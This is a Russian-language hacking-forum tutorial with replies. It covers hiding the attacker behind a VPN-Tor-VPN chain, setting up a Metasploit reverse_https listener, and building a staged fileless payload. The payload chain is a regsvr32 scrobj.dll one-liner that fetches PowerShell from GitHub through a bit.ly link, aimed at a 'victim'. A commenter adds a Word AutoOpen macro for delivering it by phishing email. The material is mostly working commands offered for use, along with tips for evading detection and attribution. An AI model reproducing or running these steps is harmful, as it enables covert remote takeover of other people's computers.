• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

gushmazuko

gushmazuko

Red Team
24.03.2017
159
388
English version of the article: Anonymous pentest VPN - TOR - VPN {Part II}

И снова здравствуйте! В прошлой статье мы разбирали создание цепочки VPN - TOR - VPN. Сегодня подготовим SRV2 к проведению тестов на проникновение и испытаем в боевых условиях.

В первой части я забыл упомянуть, SRV1 и SRV2 желательно создать в двух разный регионах, например: один во Франкфурте другой в Лондоне.

Первым делом сменим порты SSH и OpenVPN на нестандартные
Подключаемся к SRV1 по ssh

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Перед тем как менять порты, сначала их нужно разрешить. К примеру SSH сменим на 4910, а OpenVPN на 4911

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

И теперь меняем порты.
sudo vi /etc/ssh/sshd_config
Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью


sudo vi /etc/openvpn/server.conf
Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью


Перезагружаем сервисы и удаляем старые порты из разрешенных.

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью


Меняем порты на SRV2
Желательно использовать разные порты на SRV1 и SRV2. На втором сервере, SSH будет 2375, OpenVPN - 2376.
Конектимся к SRV2.

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью
И таким же образом меняем порты. SSH = 2375, OpenVPN = 2376.
sudo ufw allow 2375
sudo ufw allow 2376
sudo vi /etc/openvpn/server.conf
sudo vi /etc/ssh/sshd_config
Сначала перезагружаем именно SSH, не то потеряете доступ.
sudo systemctl restart ssh
sudo systemctl restart openvpn@server
После рестарта openvpn@server связь оборвется. Закрываем окно и переходим к след. пункту.


Возращаемся на SRV1
Правим клиентский файл подключения к VPN SRV2.
sudo vi /etc/openvpn/client.conf
Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

OpenVPN Client restarting
sudo systemctl restart openvpn@client
Связь с SRV2 снова восстановлена!


Отключаем логирование VPN
В первой части я специально оставил логи, они необходимы для отладки в случае проблем. Но когда мы все правильно настроили, выключим их.

ssh vpnsrv1
sudo vi /etc/openvpn/server.conf
Комментируем следующую директиву
verb 3 меняем на verb 0

OpenVPN Client
sudo vi /etc/openvpn/client.conf
verb 0
sudo systemctl restart openvpn@client
sudo systemctl restart openvpn@server
Тоже самое на SRV2


Создание клиентского файла конфигурации для подключений к VPN SRV1

Для связи с SRV2 нам вполне хватает ssh. Но для большего комфорта и пропуска всего трафика через цепочку VPN - TOR -VPN, настроим наше подключение к VPN SRV1. Не зря же мы ее делали.

Конектимся к SRV1, в файле /home/openvpn-ca/client-configs/base.conf меняем порт на ренее нами измененный в /etc/openvpn/server.conf (VPN SRV1 - 4911/udp)

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью
remote IP_address_of_SRV1 4911
Если вы хотите использовать один сертификат на нескольких устройств одновременно, в SRV1 /etc/openvpn/server.conf раскомментируйте директиву:

Готовим клиент конфиг файл к экспорту

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Копируем к себе на локальную машину (Kali Linux) и запускаем VPN.

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью


Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Ну все, теперь у нас весь трафик идет через нашу цепочку VPN - TOR - VPN!

Добавим информацию об SRV2 в ~/.ssh/config | HostName должен быть именно 10.8.1.1, ни в коем случае не пишите сюда публичный IP второго сервера.

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Теперь просто введя ssh vpnsrv2 на локальной машине, попадаем на SRV2 через нашу анонимную цепочку.


Готовимся к атаке

Идем на SRV2, и ставим Metasploit Framework.
Bash:
sudo echo 'deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt jessie main' | sudo tee /etc/apt/sources.list.d/metasploit-framework.list
sudo wget -qO - http://apt.metasploit.com/metasploit-framework.gpg.key | sudo apt-key add -
sudo apt update && sudo apt dist-upgrade
sudo apt install metasploit-framework postgresql -y
Инициализция Metasploit PostgreSQL Database
Bash:
sudo systemctl start postgresql
msfdb init
sudo ln -s /home/admin/.msf4/ /root/
Если metasploit запускать от обычного юзера, он не сможет слушать порты. Поэтому мы добавили зеркало .msf4 в домашний каталог root-а. Команда для запуска sudo msfconsole.

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Но как известно, программа запущенная в ssh закрывается как только мы выходим из консоли. Нам же требуется чтобы наш сервер был всегда готов 24 часа в сутки принять к себе гостей с их же пряником, как говорил DarkNode;)
Для осуществления сего, нам нужна утилита "screen"
Bash:
sudo apt install screen

Запускаем msfconsole в screen.
Bash:
screen -S msf sudo msfconsole
-S msf = задает имя сессии
sudo msfconsole = сама команда выполняемая в screen

#Чтобы отправить сессию в фон
Ctrl+A потом D

#Список фоновый сессий
screen -list

#Обратно берем сесию
screen -r msf

#msf = имя сессии


Поднимем листенер который будет принимать на себя reverse shell. Но перед этим надо указать фаерволу чтобы он пропускал порт котрый мы будем слушать.

Мы будем принимать шелл на 443 (https) порт, чтобы не бросаться в глаза нашей "жертве".
sudo ufw allow 443
sudo ufw allow 8443
screen -S msf sudo msfconsole
use multi/handler
set payload windows/meterpreter/reverse_https
set LPORT 443
curl ident.me; echo
set LHOST IP_address_of_SRV2
set ExitOnSession false
set EnableStageEncoding true
exploit -j
Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Отправляем msfconsole в фон (Ctrl+A затем D) и возвращаемся в Kali Linux.


Модульная доставка полезной нагрузки - Web Delivery

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Техника не новая, я узнал про нее от DarkNode этих статьях(одна, вторая). Она мне очень полюбилась и с тех пор пользуюсь только ею, но чуть по другому. Именно это и будем сегодня рассматривать. Самое интересное по приведенной выше схеме - это то что мы можем в любую минуту сменить полезную нагрузку на зараженной машине. Достаточно изменить Stage3 и все меняется. Так же мы можем на время оставить жертву в покое (очистите и оставьте Stage 1 пустым) даже при анализе сети WireShark-ом жертва ничего не найдет. А на второй день обратно верние Stage 1 и снова ловите reverse shell! Также изменив Destination IP в Stage 3 легко передать полученные сессии своему коллеге для совместной работы:). Думаю очень перспективный вариант.

Качаем unicorn от trustedse, для генерации полезной нагрузки
Код:
git clone https://github.com/trustedsec/unicorn.git
Генерируем

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Переименовываем powershell_attack.txt в stage3 и заливаем на github (Естественно создаем новый акк через нашу цепочку)


Далее создаем stage2
Нам понадобятся скрипты DarkNode.
base64_convert
и XML скрипт для regsvr32

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Почему то я смог вылжит его здесь, codeby ругается на ошибки. Поэтому залил на
Запускаем ./base64_convert.py

Аргументы для конвертирования следующие:
IEX(New-Object Net.WebClient).DownloadString('
В последних скобках, raw адрес до вашего файла stage3 который вы залили на github

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Полученную команду вставляем в XML скрипт приведенный выше и сохраняем под названием stage2

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Это тоже загружаем на github.
В итоге получается ссылка на stage2 - "" если сократить ее на bit.ly будет на много удобней.

Вот и stage 1 - команда для запуска на компьютере жертвы. (Сделать это вариантов куча: BadUSB, HTA, Word, втсроить в приложение и т.д, )

Код:
regsvr32 -s -n -u -i:https://raw.githubusercontent.com/XXXXXX/XXX/master/stage2 scrobj.dll

Для наглядности с укороченным url, она приобретает следующий вид. Всего 50 символов, способны заразить компьютер.))))
Код:
regsvr32 -s -n -u -i:http://bit.ly/XXXXX scrobj.dll
Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

Идем на SRV2 и смотрим принял ли наш сервер reverse shell.

Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

И видим что все сработало на ура! Так же мы можем управяеть ею с телефона. Скопируйте ssh ключ от SRV1 на свой тел. или установите OpenVPN и дерзайте. В видео еще покажу проброску полученней сессии на локалку. Всем спасибо за внимание, я пойду на бок завтра раано вставать)))).
 

Вложения

  • 49,4 КБ Просмотры: 64
Последнее редактирование модератором:
A

Akroll

Отличная статья!
Надеюсь, что будут выходить ещё части.
Автору плюс.
 
  • Нравится
Реакции: gushmazuko
Night Hunter

Night Hunter

Well-known member
13.01.2018
283
279
Вот читаю я это всё, смотрю и мне как-то стрёмно, этим заниматься, ведь что-то могу протупить и привет чай, сухари и чё там ещё))) Я так понимаю, у ТС есть нормальный опыт в этом. У меня пару вопросов:
1. Ок, идёт у нас связка VPN -> TOR -> VPN. Как узнать, что все цепи работают нормально и одна не отвалилась и не спалила наш IP?
2. В каких странах лучше покупать ВПС с меньшим риском?
3. Разве не нужно ещё ставить шифрование диска ВПС для надежности? Если стоит - то что ставить и как?
 
  • Нравится
Реакции: gushmazuko
gushmazuko

gushmazuko

Red Team
24.03.2017
159
388
Вот читаю я это всё, смотрю и мне как-то стрёмно, этим заниматься, ведь что-то могу протупить и привет чай, сухари и чё там ещё))) Я так понимаю, у ТС есть нормальный опыт в этом. У меня пару вопросов:
1. Ок, идёт у нас связка VPN -> TOR -> VPN. Как узнать, что все цепи работают нормально и одна не отвалилась и не спалила наш IP?
2. В каких странах лучше покупать ВПС с меньшим риском?
3. Разве не нужно ещё ставить шифрование диска ВПС для надежности? Если стоит - то что ставить и как?
Чай, сухари)))))
1. Когда один из сервисов дает сбой, связь намертво глохнет. Посмотри сам, выруби одно из трех (VPN, TOR, VPN) и ты поймешь что утечка не возможна. Если что то и может случиться, то скорее по забывяивости/невниманию. Я использую i3wm, справо внизу настроил показ публичного IP (с 10 секундным интервалом), это помогает мне вспомнить включен у меня vpn или нет. Но по ошибке подключиться к SRV2 без vpn у вас неполучится, если вы следовли моей инструкции.
2. Насколько я знаю, любые регионы AWS, в меру безопасны.
3. Думаю стоит шифровать, делается это штатными средствами amazon aws, надо не много повозиться. Но я не доконца понял принцип его работы.
ты мне нравишься.
Почему ufw а не iptables ?
Личное предпочтение или не владеешь?
iptables усвоил не давно. Но UFW мне кажется удобнее для мелких задач, типа открыть/закрыть порт.
 
Последнее редактирование:
  • Нравится
Реакции: Night Hunter
Night Hunter

Night Hunter

Well-known member
13.01.2018
283
279
3. Думаю стоит шифровать, делается это штатными средствами amazon aws, надо не много повозиться. Но я не доконца понял принцип его работы.
Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))
 
0

0v3r_Cr1t

Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))
Бан по ip или сделай скрипт который при 10 неправильных попытках входа добавляет ip в бан
 
gushmazuko

gushmazuko

Red Team
24.03.2017
159
388
Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))
Да но амазон бесплатный)) зачем каждый месяц платить два сервера? Тем более за приемлемую цену врядь ли найдешь что то лучше амазон? Ты видел какая там скорось? ~ 600 Mbit/s download/upload
 
  • Нравится
Реакции: Night Hunter
Night Hunter

Night Hunter

Well-known member
13.01.2018
283
279
Бан по ip или сделай скрипт который при 10 неправильных попытках входа добавляет ip в бан
Так у меня защита там стоит, хрен попадут) я просто думаю, чтобы в отместку сделать, чтобы знали) На днях напишу статью, про защиту сайтов на ВП от скана и брута)
Да но амазон бесплатный)) зачем каждый месяц платить два сервера? Тем более за приемлемую цену врядь ли найдешь что то лучше амазон? Ты видел какая там скорось? ~ 600 Mbit/s download/upload
Хм, возможно ты прав. Я просто не в курсе, что к чему там)
 
Night Hunter

Night Hunter

Well-known member
13.01.2018
283
279
Уже интересно. Про zip бомбу уже писали если что
Нет. Я хочу написать про плагины, которые проверенны лично мной и работают. Настройка и т.п.) Я же в пентесте баран, пока что) а так, поделюсь тем, что знаю. Сравню и выложу примеры скана до и после.
 
kot-gor

kot-gor

Gold Team
07.09.2016
523
682
Всем привет. подскажите, а что бы импортировать xml, разве не нужны системные привилегии ?
 
  • Нравится
Реакции: gushmazuko
gushmazuko

gushmazuko

Red Team
24.03.2017
159
388
Всем привет. подскажите, а что бы импортировать xml, разве не нужны системные привилегии ?
Привет. По моему ты путаешь это с закреплентем в системе через планировшик задач, путем импорта XML.
В данном примере xml это инструкции для regsvr32, которые загружаются в RAM память. Привилегии не требуются.
 
  • Нравится
Реакции: kot-gor
kot-gor

kot-gor

Gold Team
07.09.2016
523
682
Привет. По моему ты путаешь это с закреплентем в системе через планировшик задач, путем импорта XML.
В данном примере xml это инструкции для regsvr32, которые загружаются в RAM память. Привилегии не требуются.
Да, вы правы.
 
  • Нравится
Реакции: gushmazuko
Vertigo

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 156
3 392
Слов нет , топовая работа. Мне добавить нечего по приведённому сегменту атаки. Так держать.
Где репутация , Господа ?:cool:
 
Последнее редактирование:
  • Нравится
Реакции: gushmazuko
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Приятно видеть свой простенький скриптец power-meter.
Статья отличная)) Плюсую)
 
  • Нравится
Реакции: gushmazuko
kot-gor

kot-gor

Gold Team
07.09.2016
523
682
Хочу добавить от себя,этот метод хорошо уживается с макросами..а именно когда нужно отправить "специально подготовленное письмо".
код макроса может выглядеть следующим образом:
#Private Sub Document_Open()
#Test
#End Sub

#Private Sub DocumentOpen()
#Test
#End Sub

#Private Sub Autopen()
#Test
#End Sub

#Private Sub AutoOpen()
#Test
#End Sub

#Private Sub Auto_Exec()
#Test
#End Sub

#Private Sub Test()
# Dim shell
#Dim out
#Set shell = VBA.CreateObject("WScript.Shell")
#out = shell.Run("regsvr32 /u /n /s /i: scrobj.dll", 0, False)
#End Sub

Автору респект за статью!!!
 
Последнее редактирование:
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб